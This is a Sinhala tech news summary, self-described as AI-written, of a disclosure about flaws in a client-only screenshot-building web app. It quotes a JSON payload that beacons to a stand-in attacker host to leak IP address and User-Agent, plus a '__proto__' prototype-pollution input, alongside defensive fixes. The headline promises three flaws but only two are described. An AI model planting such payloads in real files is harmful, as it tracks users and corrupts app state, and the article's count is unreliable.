ශ්‍රී ලංකාවේ නවතම තාක්ෂණික පුවත් 2026-07-26, Sunday
🔐 සයිබර් ආරක්ෂාව · 🕒 කියවීමට විනාඩි 2 · 👁 1

දත්ත‑මූලික වෙබ් යෙදුමේ 3 ආරක්ෂක දෝෂ හෙළිවී, පරිශීලක රහස්‍යතා බිඳ වැටේ

දත්ත‑මූලික වෙබ් යෙදුමේ 3 ආරක්ෂක දෝෂ හෙළිවී, පරිශීලක රහස්‍යතා බිඳ වැටේ

ලොකු සේවාදායකයක්, දත්ත ගබඩා, හෝ නෙට්වර්ක් ඇමතුම් නොමැතිව ක්‍රියා කරන සරල HTML යෙදුමක් පරීක්ෂා කරන අතරතුර, ආරක්ෂක පරීක්ෂකයෙක් තුන්ක් තරම් වැදගත් දෝෂ සොයාගත්තා.

මෙම මෙවලම App Store සඳහා ස්ක්‍රීන්ෂොට් තීරණය කරන අතර, ඔබේ වැඩපොත (text, images, styles) එකම .json ගොනුවකට සුරකින්නේ. එම ගොනුව පසුදා නැවත පූරණය කරගත හැකි අතර, වෙනත් කෙනෙකුටද එය ලබා දෙන්න පුළුවන්. මේ සුවිශේෂී හැකියාවම ප්‍රධාන ගැටළුවේ මූලිකය.

1. බාහිර රූප URL එකක් හරහා “ඇමතුම” සිදුවීම – ගොනුව සුරකින විට රූප සියල්ල data:image/png;base64,… ආකාරයෙන් ඇතුළත් වේ. නමුත් .json ගොනුව අකාරයෙන්ම සකස් කළ හැකි බැවින්, පරිශීලකයා {"style":{"bgImg":"https://attacker.example/beacon.png?id=abc"}} වැනි අන්තර්ගතයක් ඇතුළත් කරයි නම්, යෙදුම ඒ URL එකට පිවිසීමට උත්සාහ කරයි. එවිට පාවිච්චි කරන කම්පියුටරයේ IP ලිපිනය, User‑Agent සහ කාල සලකුණ දුරස්ථ සේවාදායකයට ගොඩනැගේ. පෙනෙන දෘශ්‍ය ආකාරයක් නැතිව, රහස්‍යතා ප්‍රතිඥාව බිඳ වැටේ.

මෙම ගැටළුවට විසඳුම ලෙස scheme allowlist එකක් භාවිතා කර, data:image/… ආකාරයේ URL පමණක් අවසර දිය යුතුය. අනික් සියලු URL කෙරෙහි null යොදමින්, අනවශ්‍ය “beacon” ආකාරයේ ඇමතුම් වැළැක්විය හැක.

2. Object.assign + JSON.parse සමඟ prototype pollution – එකම ෆංශනයේ, Object.assign(state.style, d.style) ලෙස මර්ජ් කිරීම සිදු වේ. JSON.parse('{"__proto__":{…}}') මඟින් __proto__ ගුණයක් සෘජුවම අරඹයි. එය Object.assign මගින් ගමන් කරද්දී, ඉලක්ක වස්තුවේ prototype එක වෙනස් වේ. ප්‍රතිඵලයක් ලෙස, අනිශ්චිත ගුණයන් for…in ලූප් වලින් දිස් වෙයි, සහ අනවශ්‍ය පරාමිතීන් (උදා: titleSize: 999) සෘජුවම යෙදුමට ඇතුළත් වේ.

මෙය නිවැරදි කිරීමට, known keys only පදනමෙන් සෑම ගුණයක්ම පරීක්ෂා කර, අවශ්‍ය නම් safeNum, safeHex, safeImgSrc වැනි පිරිසිදුකරණ ක්‍රම භාවිතා කරයි. මෙයින් __proto__ වැනි අනවශ්‍ය ගුණයන් ඉවත් කර, ආකාරය සුරක්ෂිත කරයි.

මෙම දෙකම තරමක් සංකීර්ණ දෝෂයන් වන අතර, ඒවා යෙදුමේ “ලොකල් රන්” වාදයට විරුද්ධව ක්‍රියා කරන බව පෙන්වයි. කේතයේ img.src, fetch, link.href, CSS url() වැනි සියලු ආරක්ෂක නායකතා පරීක්ෂා කර, අනිවාර්යයෙන් scheme හෝ type පරීක්ෂණයක් ඇතුළත් කිරීම වැදගත්.

ශ්‍රී ලංකාවට ඇති වැදගත්කම

  • ශ්‍රී ලංකාවේ පුරෝගාමී විද්‍යාර්ථීන්ට, සරල client‑only යෙදුම් නිර්මාණය කරන විට ආරක්ෂක පරීක්ෂණ අත්යවශ්‍ය බව ඉගැන්වීමට උදව් වේ.
  • ලොකල් ස්ට්‍රාටෙජි සහිත start‑ups සඳහා, “දත්ත රහස්‍යතාව” ප්‍රතිඥාව තහවුරු කිරීමේ වැදගත්කම පැහැදිලි කරයි.
  • ව්‍යාපාරික සංවර්ධකයින්ට, prototype pollution වැනි නව ආකාරයේ දුර්වලතා වැලැක්වීම සඳහා sanitization patterns (safeImgSrc, safeNum) යොදා ගැනීමේ මාර්ගෝපදේශයක් ලබා දේ.

අවසානයේ, “ලොකල් පරිසරයේ” ක්‍රියා කරන යෙදුම් පවා අනිවාර්යයෙන්ම ආරක්ෂක පරීක්ෂණ සහ පිරිසිදුකරණ නීති අනුගමනය කළ යුතුය. එසේ නොකළහොත්, “කොන්දේසි රහසිගත” බවට පත් වුනු සේවාද පවා පරිශීලක තොරතුරු රහස්‍ය නොවී ගිය හැක.

💡 ඔබේ යෙදුම් ආරක්ෂා කිරීමට අදම පිරිසිදුකරණ ක්‍රම අරඹන්න!
මූලාශ්‍රය මෙම ලිපිය AI මගින් රචිත මුල් සාරාංශයකි. සම්පූර්ණ වාර්තාව කියවන්න:
Dev.to ↗
#Security #WebApp #JSON #SriLanka #Developers